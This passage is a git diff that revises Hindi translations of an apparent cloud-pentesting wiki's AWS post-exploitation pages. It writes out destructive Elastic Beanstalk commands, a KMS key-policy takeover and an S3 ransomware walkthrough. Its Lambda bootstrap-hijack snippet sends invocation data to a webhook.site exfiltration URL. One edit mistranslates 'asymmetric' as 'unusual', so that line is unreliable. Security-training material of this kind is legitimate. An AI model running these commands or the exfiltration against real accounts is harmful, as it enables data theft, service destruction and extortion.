साथ बात करता है, **cloudtrail उपयोगकर्ता के चोरी होने और इसे एक्सेस करने से संबंधित कुछ भी लॉग नहीं करेगा**। @@ -133,7 +131,7 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### EKS फिरौती? -डिफ़ॉल्ट रूप से, **उपयोगकर्ता या भूमिका जिसने** एक क्लस्टर बनाया है, **हमेशा क्लस्टर पर प्रशासनिक विशेषाधिकार** रखने वाला होगा। और यही एकमात्र "सुरक्षित" एक्सेस है जो AWS Kubernetes क्लस्टर पर होगा। +डिफ़ॉल्ट रूप से, **उपयोगकर्ता या भूमिका जिसने** एक क्लस्टर बनाया है, वह **हमेशा क्लस्टर पर प्रशासनिक विशेषाधिकार** रखेगा। और यही एकमात्र "सुरक्षित" एक्सेस होगा जो AWS Kubernetes क्लस्टर पर होगा। तो, यदि एक **हमलावर फर्गेट का उपयोग करके एक क्लस्टर से समझौता करता है** और **सभी अन्य प्रशासकों को हटा देता है** और **क्लस्टर बनाने वाले AWS उपयोगकर्ता/भूमिका को हटा देता है**, ~~हमलावर ने **क्लस्टर को फिरौती**~~** ली हो सकती है**। diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 2dfbed4a3..49a9e6423 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -13,13 +13,13 @@ ### `elasticbeanstalk:DeleteApplicationVersion` > [!NOTE] -> TODO: यह परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है +> TODO: जांचें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है -एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplicationVersion` है, **एक मौजूदा एप्लिकेशन संस्करण को हटा सकता है**। यह क्रिया एप्लिकेशन डिप्लॉयमेंट पाइपलाइनों को बाधित कर सकती है या यदि बैकअप नहीं है तो विशिष्ट एप्लिकेशन संस्करणों के नुकसान का कारण बन सकती है। +जिस हमलावर के पास `elasticbeanstalk:DeleteApplicationVersion` की अनुमति है, वह **एक मौजूदा एप्लिकेशन संस्करण को हटा सकता है**। यह क्रिया एप्लिकेशन डिप्लॉयमेंट पाइपलाइनों को बाधित कर सकती है या यदि बैकअप नहीं है तो विशिष्ट एप्लिकेशन संस्करणों के नुकसान का कारण बन सकती है। ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**संभावित प्रभाव**: अनुप्रयोग तैनाती में बाधा और अनुप्रयोग संस्करणों का संभावित नुकसान। +**संभावित प्रभाव**: अनुप्रयोग तैनाती में विघटन और अनुप्रयोग संस्करणों का संभावित नुकसान। ### `elasticbeanstalk:TerminateEnvironment` @@ -30,14 +30,14 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` -**संभावित प्रभाव**: अनुप्रयोग का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में व्यवधान। +**संभावित प्रभाव**: अनुप्रयोग का डाउनटाइम, संभावित डेटा हानि, और सेवाओं में बाधा। ### `elasticbeanstalk:DeleteApplication` > [!NOTE] > TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है -एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplication` है, वह **एक संपूर्ण Elastic Beanstalk अनुप्रयोग को हटा सकता है**, जिसमें इसके सभी संस्करण और वातावरण शामिल हैं। यदि बैकअप नहीं लिया गया है, तो यह कार्रवाई अनुप्रयोग संसाधनों और कॉन्फ़िगरेशन की महत्वपूर्ण हानि का कारण बन सकती है। +एक हमलावर जिसके पास अनुमति `elasticbeanstalk:DeleteApplication` है, वह **एक संपूर्ण Elastic Beanstalk अनुप्रयोग को हटा सकता है**, जिसमें इसके सभी संस्करण और वातावरण शामिल हैं। यदि बैकअप नहीं लिया गया है, तो यह क्रिया अनुप्रयोग संसाधनों और कॉन्फ़िगरेशन की महत्वपूर्ण हानि का कारण बन सकती है। ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` @@ -48,7 +48,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en > [!NOTE] > TODO: परीक्षण करें कि क्या इसके लिए अधिक अनुमतियों की आवश्यकता है -`elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति के साथ एक हमलावर **दो Elastic Beanstalk वातावरणों के CNAME रिकॉर्ड को स्वैप कर सकता है**, जिससे उपयोगकर्ताओं को एप्लिकेशन का गलत संस्करण प्रदान किया जा सकता है या अनपेक्षित व्यवहार हो सकता है। +एक हमलावर जिसके पास `elasticbeanstalk:SwapEnvironmentCNAMEs` अनुमति है, **दो Elastic Beanstalk वातावरणों के CNAME रिकॉर्ड को स्वैप कर सकता है**, जो उपयोगकर्ताओं को एप्लिकेशन का गलत संस्करण प्रदान कर सकता है या अनपेक्षित व्यवहार का कारण बन सकता है। ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index c7ffc9f34..82fa1dfc4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -12,7 +12,7 @@ IAM एक्सेस के बारे में अधिक जानक ## Confused Deputy Problem -यदि आप **एक बाहरी खाता (A)** को अपने खाते में **भूमिका** तक पहुँचने की अनुमति देते हैं, तो आपके पास **यह जानने की कोई दृश्यता नहीं होगी** कि **कौन वास्तव में उस बाहरी खाते तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि एक और बाहरी खाता (B) बाहरी खाते (A) तक पहुँच सकता है, तो यह संभव है कि **B भी आपके खाते तक पहुँच सके**। +यदि आप **एक बाहरी खाता (A)** को अपने खाते में एक **भूमिका** तक पहुँचने की अनुमति देते हैं, तो आपके पास **यह जानने की कोई दृश्यता नहीं होगी** कि **कौन वास्तव में उस बाहरी खाते तक पहुँच सकता है**। यह एक समस्या है, क्योंकि यदि एक और बाहरी खाता (B) बाहरी खाते (A) तक पहुँच सकता है, तो यह संभव है कि **B भी आपके खाते तक पहुँच सके**। इसलिए, जब आप एक बाहरी खाते को अपने खाते में एक भूमिका तक पहुँचने की अनुमति देते हैं, तो आप एक `ExternalId` निर्दिष्ट कर सकते हैं। यह एक "गुप्त" स्ट्रिंग है जिसे बाहरी खाते (A) को **आपके संगठन में भूमिका ग्रहण करने के लिए निर्दिष्ट करना आवश्यक है**। चूंकि **बाहरी खाता B इस स्ट्रिंग को नहीं जानता**, भले ही उसके पास A पर पहुँच हो, वह **आपकी भूमिका तक पहुँच नहीं सकेगा**। @@ -73,7 +73,7 @@ IAM एक्सेस के बारे में अधिक जानक } } ``` -यदि S3 बकेट को एक प्रिंसिपल के रूप में दिया गया है, क्योंकि S3 बकेट का कोई खाता आईडी नहीं होता है, यदि आपने **अपना बकेट हटा दिया और हमलावर ने** इसे अपने खाते में बनाया, तो वे इसका दुरुपयोग कर सकते हैं। +यदि एक S3 बकेट को एक प्रिंसिपल के रूप में दिया गया है, क्योंकि S3 बकेट का कोई खाता आईडी नहीं होता है, यदि आपने **अपना बकेट हटा दिया और हमलावर ने** इसे अपने खाते में बनाया, तो वे इसका दुरुपयोग कर सकते हैं। #### समर्थित नहीं ```json @@ -84,7 +84,7 @@ IAM एक्सेस के बारे में अधिक जानक "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -एक सामान्य तरीका Confused Deputy समस्याओं से बचने का `AWS:SourceArn` के साथ एक शर्त का उपयोग करना है ताकि मूल ARN की जांच की जा सके। हालाँकि, **कुछ सेवाएँ इसका समर्थन नहीं कर सकती हैं** (कुछ स्रोतों के अनुसार CloudTrail की तरह)। +Confused Deputy समस्याओं से बचने का एक सामान्य तरीका `AWS:SourceArn` के साथ एक शर्त का उपयोग करना है ताकि मूल ARN की जांच की जा सके। हालाँकि, **कुछ सेवाएँ इसका समर्थन नहीं कर सकती हैं** (जैसे कि कुछ स्रोतों के अनुसार CloudTrail)। ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 012faa527..bf0fd3749 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -12,10 +12,10 @@ ### जानकारी एन्क्रिप्ट/डिक्रिप्ट करें -`fileb://` और `file://` URI स्कीम हैं जो AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग की जाती हैं: +`fileb://` और `file://` AWS CLI कमांड में स्थानीय फ़ाइलों के पथ को निर्दिष्ट करने के लिए उपयोग किए जाने वाले URI स्कीम हैं: - `fileb://:` फ़ाइल को बाइनरी मोड में पढ़ता है, जो आमतौर पर गैर-टेक्स्ट फ़ाइलों के लिए उपयोग किया जाता है। -- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्टों, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं। +- `file://:` फ़ाइल को टेक्स्ट मोड में पढ़ता है, जो आमतौर पर साधारण टेक्स्ट फ़ाइलों, स्क्रिप्ट, या JSON के लिए उपयोग किया जाता है जिसमें विशेष एन्कोडिंग आवश्यकताएँ नहीं होती हैं। > [!TIP] > ध्यान दें कि यदि आप किसी फ़ाइल के अंदर कुछ डेटा को डिक्रिप्ट करना चाहते हैं, तो फ़ाइल में बाइनरी डेटा होना चाहिए, न कि बेस64 एन्कोडेड डेटा। (fileb://) @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- एक **asymmetric** कुंजी का उपयोग करना: +- एक **असामान्य** कुंजी का उपयोग करना: ```bash # Encrypt data aws kms encrypt \ @@ -60,9 +60,9 @@ aws kms decrypt \ ``` ### KMS Ransomware -एक हमलावर जिसके पास KMS पर विशेषाधिकार प्राप्त है, वह कुंजियों की KMS नीति को संशोधित कर सकता है और **अपने खाते को उन पर पहुंच प्रदान कर सकता है**, वैध खाते को दी गई पहुंच को हटा सकता है। +एक हमलावर जिसके पास KMS पर विशेषाधिकारित पहुंच है, वह कुंजी की KMS नीति को संशोधित कर सकता है और **अपने खाते को उन पर पहुंच प्रदान कर सकता है**, वैध खाते को दी गई पहुंच को हटा सकता है। -फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं प्राप्त कर सकेंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैनसमवेयर बन जाएगा। +फिर, वैध खाते के उपयोगकर्ता उन कुंजियों के साथ एन्क्रिप्ट की गई किसी भी सेवा की कोई जानकारी तक पहुंच नहीं पा सकेंगे, जिससे खाते पर एक आसान लेकिन प्रभावी रैनसमवेयर बन जाएगा। > [!WARNING] > ध्यान दें कि **AWS प्रबंधित कुंजियाँ इस हमले से प्रभावित नहीं हैं**, केवल **ग्राहक प्रबंधित कुंजियाँ**। @@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को पहुंच देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं **जिससे मूल खाते को फिर से पहुंच मिले, तो आप सक्षम नहीं होंगे**। +> ध्यान दें कि यदि आप उस नीति को बदलते हैं और केवल एक बाहरी खाते को एक्सेस देते हैं, और फिर इस बाहरी खाते से आप एक नई नीति सेट करने की कोशिश करते हैं **जिससे मूल खाते को वापस एक्सेस दिया जा सके, तो आप सक्षम नहीं होंगे**।
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 39e4799bf..4f42c8a4a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md ### दूसरों के Lambda URL अनुरोध और एक्सटेंशन अनुरोध चुराना -Lambda लेयर्स का दुरुपयोग करके एक्सटेंशन का दुरुपयोग करना और Lambda में स्थायी रहना संभव है, बल्कि अनुरोधों को चुराना और संशोधित करना भी संभव है। +Lambda लेयर्स का दुरुपयोग करके एक्सटेंशनों का दुरुपयोग करना भी संभव है और Lambda में स्थायी रहना, बल्कि अनुरोधों को चुराना और संशोधित करना भी संभव है। {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 90bbc7f7f..e821604e4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -6,27 +6,27 @@

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** एक प्रक्रिया है जो कंटेनर के बाहर है जो **invocations** को **init** प्रक्रिया को **भेजती** है। +1. **Slicer** एक प्रक्रिया है जो कंटेनर के बाहर है और **invocations** को **init** प्रक्रिया को **भेजती** है। 2. Init प्रक्रिया पोर्ट **9001** पर सुनती है जो कुछ दिलचस्प एंडपॉइंट्स को उजागर करती है: - **`/2018-06-01/runtime/invocation/next`** – अगली invocation घटना प्राप्त करें - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – invoke के लिए हैंडलर प्रतिक्रिया लौटाएं - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – एक निष्पादन त्रुटि लौटाएं 3. **bootstrap.py** एक लूप में init प्रक्रिया से invocations प्राप्त करता है और उन्हें संभालने के लिए उपयोगकर्ता के कोड को कॉल करता है (**`/next`**). -4. अंत में, **bootstrap.py** init को **response** भेजता है +4. अंततः, **bootstrap.py** init को **response** भेजता है ध्यान दें कि bootstrap उपयोगकर्ता के कोड को एक मॉड्यूल के रूप में लोड करता है, इसलिए उपयोगकर्ता के कोड द्वारा किया गया कोई भी कोड निष्पादन वास्तव में इस प्रक्रिया में हो रहा है। ## Lambda अनुरोध चुराना -इस हमले का लक्ष्य उपयोगकर्ता के कोड को एक दुर्भावनापूर्ण **`bootstrap.py`** प्रक्रिया को निष्पादित करना है जो उस **`bootstrap.py`** प्रक्रिया के अंदर है जो कमजोर अनुरोध को संभालती है। इस तरह, **दुर्भावनापूर्ण bootstrap** प्रक्रिया **init प्रक्रिया** के साथ **बातचीत** करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि **वैध** bootstrap **फंसी** हुई है जो दुर्भावनापूर्ण को चला रही है, इसलिए यह init प्रक्रिया से अनुरोध नहीं मांगेगी। +इस हमले का लक्ष्य यह है कि उपयोगकर्ता का कोड एक दुर्भावनापूर्ण **`bootstrap.py`** प्रक्रिया को **`bootstrap.py`** प्रक्रिया के अंदर निष्पादित करे जो कमजोर अनुरोध को संभालता है। इस तरह, **दुर्भावनापूर्ण bootstrap** प्रक्रिया **init प्रक्रिया** के साथ **बातचीत** करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि **वैध** bootstrap **फंस** गया है जो दुर्भावनापूर्ण को चला रहा है, इसलिए यह init प्रक्रिया से अनुरोध नहीं मांगेगा। -यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध **`bootstrap.py`** प्रक्रिया द्वारा निष्पादित हो रहा है। इसलिए हमलावर कर सकता है: +यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध **`bootstrap.py`** प्रक्रिया द्वारा निष्पादित किया जा रहा है। इसलिए हमलावर कर सकता है: - **Init प्रक्रिया को वर्तमान invocation का एक नकली परिणाम भेजें**, ताकि init सोचता है कि bootstrap प्रक्रिया अधिक invocations की प्रतीक्षा कर रही है। - एक अनुरोध **`/${invoke-id}/response`** पर भेजा जाना चाहिए - Invoke-id को वैध **`bootstrap.py`** प्रक्रिया के स्टैक से [**inspect**](https://docs.python.org/3/library/inspect.html) पायथन मॉड्यूल का उपयोग करके प्राप्त किया जा सकता है (जैसा कि [यहां प्रस्तावित है](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) या बस इसे फिर से **`/2018-06-01/runtime/invocation/next`** पर अनुरोध करके प्राप्त किया जा सकता है (जैसा कि [यहां प्रस्तावित है](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). - अगली invocations को संभालने के लिए एक दुर्भावनापूर्ण **`boostrap.py`** निष्पादित करें -- छिपने के उद्देश्यों के लिए, हमलावर द्वारा नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालना। +- छिपे रहने के उद्देश्यों के लिए, हमलावर द्वारा नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालें। - इस हमले के लिए, **`bootstrap.py`** का मूल कोड सिस्टम से या [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py) से प्राप्त करना, दुर्भावनापूर्ण कोड जोड़ना और इसे वर्तमान lambda invocation से चलाना पर्याप्त है। ### हमले के चरण @@ -52,9 +52,9 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402 exec(new_runtime) EOF ``` -For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) +अधिक जानकारी के लिए देखें [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) -## References +## संदर्भ - [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index dcb46699f..3d47365bd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - Lightsail Post Exploitation +# AWS - Lightsail पोस्ट एक्सप्लोइटेशन {{#include ../../../banners/hacktricks-training.md}} @@ -16,8 +16,8 @@ ### इंस्टेंस स्नैपशॉट्स को पुनर्स्थापित करें -इंस्टेंस स्नैपशॉट्स में पहले से हटाए गए इंस्टेंस की **संवेदनशील जानकारी** या वर्तमान इंस्टेंस में हटाई गई संवेदनशील जानकारी हो सकती है। **स्नैपशॉट्स से नए इंस्टेंस बनाएं** और उन्हें जांचें।\ -या **स्नैपशॉट को EC2 में AMI में निर्यात करें** और एक सामान्य EC2 इंस्टेंस के चरणों का पालन करें। +इंस्टेंस स्नैपशॉट्स में पहले से हटाए गए इंस्टेंस या वर्तमान इंस्टेंस में हटाई गई संवेदनशील जानकारी **शामिल हो सकती है**। **स्नैपशॉट्स से नए इंस्टेंस बनाएं** और उन्हें जांचें।\ +या **स्नैपशॉट को EC2 में एक AMI में निर्यात करें** और एक सामान्य EC2 इंस्टेंस के चरणों का पालन करें। ### संवेदनशील जानकारी तक पहुंचें diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index ef506f5f9..c69886632 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -10,7 +10,7 @@ AWS Organizations के बारे में अधिक जानकार ../aws-services/aws-organizations-enum.md {{#endref}} -### Leave the Org +### Org छोड़ें ```bash aws organizations deregister-account --account-id --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 79bf10626..b426be805 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -`rds:DownloadDBLogFilePortion` अनुमति वाला एक हमलावर **RDS इंस्टेंस के लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग करके अपनी विशेषाधिकारों को बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है। +`rds:DownloadDBLogFilePortion` अनुमति वाला एक हमलावर **RDS इंस्टेंस के लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है**। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग अपने विशेषाधिकारों को बढ़ाने या अनधिकृत क्रियाएँ करने के लिए कर सकता है। ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index 22f5735ec..1ee66a3b5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - S3 पोस्ट एक्सप्लॉइटेशन +# AWS - S3 पोस्ट एक्सप्लोइटेशन {{#include ../../../banners/hacktricks-training.md}} @@ -12,26 +12,26 @@ ### संवेदनशील जानकारी -कभी-कभी आप बकेट में पढ़ने योग्य संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, टेराफॉर्म राज्य रहस्य। +कभी-कभी आप बकेट में पढ़ने योग्य संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform राज्य रहस्य। ### पिवोटिंग विभिन्न प्लेटफार्म S3 का उपयोग संवेदनशील संपत्तियों को स्टोर करने के लिए कर सकते हैं।\ -उदाहरण के लिए, **airflow** वहां **DAGs** **कोड** स्टोर कर सकता है, या **वेब पेज** सीधे S3 से सर्व किए जा सकते हैं। लिखने की अनुमति वाले हमलावर बकेट से **कोड को संशोधित** कर सकते हैं ताकि अन्य प्लेटफार्मों पर **पिवोट** किया जा सके, या JS फ़ाइलों को संशोधित करके **खातों पर नियंत्रण** प्राप्त कर सकें। +उदाहरण के लिए, **airflow** वहां **DAGs** **कोड** स्टोर कर सकता है, या **वेब पेज** सीधे S3 से सर्व किए जा सकते हैं। लिखने की अनुमति वाले हमलावर बकेट से **कोड को संशोधित** कर सकते हैं ताकि अन्य प्लेटफार्मों पर **पिवोट** किया जा सके, या **खातों पर नियंत्रण** पाने के लिए JS फ़ाइलों को संशोधित कर सकें। -### S3 रैनसमवेयर +### S3 रैंसमवेयर -इस परिदृश्य में, **हमलावर अपने AWS खाते** या किसी अन्य समझौता किए गए खाते में एक KMS (की प्रबंधन सेवा) कुंजी बनाता है। फिर वे इस **कुंजी को दुनिया में किसी के लिए भी सुलभ बनाते हैं**, जिससे कोई भी AWS उपयोगकर्ता, भूमिका, या खाता इस कुंजी का उपयोग करके वस्तुओं को एन्क्रिप्ट कर सकता है। हालाँकि, वस्तुओं को डिक्रिप्ट नहीं किया जा सकता। +इस परिदृश्य में, **हमलावर अपने AWS खाते** या किसी अन्य समझौता किए गए खाते में एक KMS (की प्रबंधन सेवा) कुंजी बनाता है। फिर वे इस **कुंजी को दुनिया में किसी के लिए भी सुलभ बनाते हैं**, जिससे कोई भी AWS उपयोगकर्ता, भूमिका, या खाता इस कुंजी का उपयोग करके वस्तुओं को एन्क्रिप्ट कर सकता है। हालाँकि, वस्तुओं को डिक्रिप्ट नहीं किया जा सकता है। -हमलावर एक लक्षित **S3 बकेट की पहचान करता है और इसे लिखने के स्तर तक पहुंच प्राप्त करता है** विभिन्न तरीकों का उपयोग करके। यह खराब बकेट कॉन्फ़िगरेशन के कारण हो सकता है जो इसे सार्वजनिक रूप से उजागर करता है या हमलावर को AWS वातावरण तक पहुंच प्राप्त होती है। हमलावर आमतौर पर उन बकेटों को लक्षित करता है जिनमें संवेदनशील जानकारी होती है जैसे व्यक्तिगत पहचान योग्य जानकारी (PII), संरक्षित स्वास्थ्य जानकारी (PHI), लॉग, बैकअप, और अधिक। +हमलावर एक लक्षित **S3 बकेट की पहचान करता है और विभिन्न तरीकों का उपयोग करके** इसमें लिखने का स्तर प्राप्त करता है। यह खराब बकेट कॉन्फ़िगरेशन के कारण हो सकता है जो इसे सार्वजनिक रूप से उजागर करता है या हमलावर को AWS वातावरण तक पहुंच प्राप्त होती है। हमलावर आमतौर पर उन बकेटों को लक्षित करता है जिनमें संवेदनशील जानकारी होती है जैसे व्यक्तिगत पहचान योग्य जानकारी (PII), संरक्षित स्वास्थ्य जानकारी (PHI), लॉग, बैकअप, और अधिक। -यह निर्धारित करने के लिए कि क्या बकेट रैनसमवेयर के लिए लक्षित किया जा सकता है, हमलावर इसकी कॉन्फ़िगरेशन की जांच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 ऑब्जेक्ट वर्जनिंग** सक्षम है और क्या **मल्टी-फैक्टर ऑथेंटिकेशन डिलीट (MFA डिलीट) सक्षम है**। यदि ऑब्जेक्ट वर्जनिंग सक्षम नहीं है, तो हमलावर आगे बढ़ सकता है। यदि ऑब्जेक्ट वर्जनिंग सक्षम है लेकिन MFA डिलीट अक्षम है, तो हमलावर **ऑब्जेक्ट वर्जनिंग को अक्षम कर सकता है**। यदि दोनों ऑब्जेक्ट वर्जनिंग और MFA डिलीट सक्षम हैं, तो हमलावर के लिए उस विशेष बकेट को रैनसमवेयर करना अधिक कठिन हो जाता है। +यह निर्धारित करने के लिए कि क्या बकेट रैंसमवेयर के लिए लक्षित किया जा सकता है, हमलावर इसकी कॉन्फ़िगरेशन की जांच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 ऑब्जेक्ट वर्जनिंग** सक्षम है और क्या **मल्टी-फैक्टर ऑथेंटिकेशन डिलीट (MFA डिलीट) सक्षम है**। यदि ऑब्जेक्ट वर्जनिंग सक्षम नहीं है, तो हमलावर आगे बढ़ सकता है। यदि ऑब्जेक्ट वर्जनिंग सक्षम है लेकिन MFA डिलीट अक्षम है, तो हमलावर **ऑब्जेक्ट वर्जनिंग को अक्षम कर सकता है**। यदि दोनों ऑब्जेक्ट वर्जनिंग और MFA डिलीट सक्षम हैं, तो हमलावर के लिए उस विशेष बकेट को रैंसमवेयर करना अधिक कठिन हो जाता है। -AWS API का उपयोग करते हुए, हमलावर **बकेट में प्रत्येक ऑब्जेक्ट को उनके KMS कुंजी का उपयोग करके एन्क्रिप्टेड कॉपी से बदलता है**। इससे बकेट में डेटा को एन्क्रिप्ट किया जाता है, जिससे कुंजी के बिना इसे एक्सेस करना असंभव हो जाता है। +AWS API का उपयोग करते हुए, हमलावर **बकेट में प्रत्येक ऑब्जेक्ट को अपने KMS कुंजी का उपयोग करके एन्क्रिप्टेड कॉपी से बदलता है**। इससे बकेट में डेटा को एन्क्रिप्ट किया जाता है, जिससे यह कुंजी के बिना अनुपलब्ध हो जाता है। -अधिक दबाव डालने के लिए, हमलावर हमले में उपयोग की गई KMS कुंजी के हटाने का कार्यक्रम निर्धारित करता है। यह लक्षित को कुंजी हटाए जाने से पहले अपने डेटा को पुनर्प्राप्त करने के लिए 7-दिन की विंडो देता है और डेटा स्थायी रूप से खो जाता है। +अधिक दबाव डालने के लिए, हमलावर हमले में उपयोग की गई KMS कुंजी के हटाने का कार्यक्रम निर्धारित करता है। यह लक्षित को कुंजी हटाए जाने से पहले अपने डेटा को पुनर्प्राप्त करने के लिए 7-दिन की विंडो देता है, जिससे डेटा स्थायी रूप से खो जाता है। -अंत में, हमलावर एक अंतिम फ़ाइल अपलोड कर सकता है, जिसे आमतौर पर "ransom-note.txt" नाम दिया जाता है, जिसमें लक्षित के लिए उनके फ़ाइलों को पुनर्प्राप्त करने के लिए निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः लक्षित का ध्यान आकर्षित करने और उन्हें रैनसमवेयर हमले के बारे में जागरूक करने के लिए। +अंत में, हमलावर एक 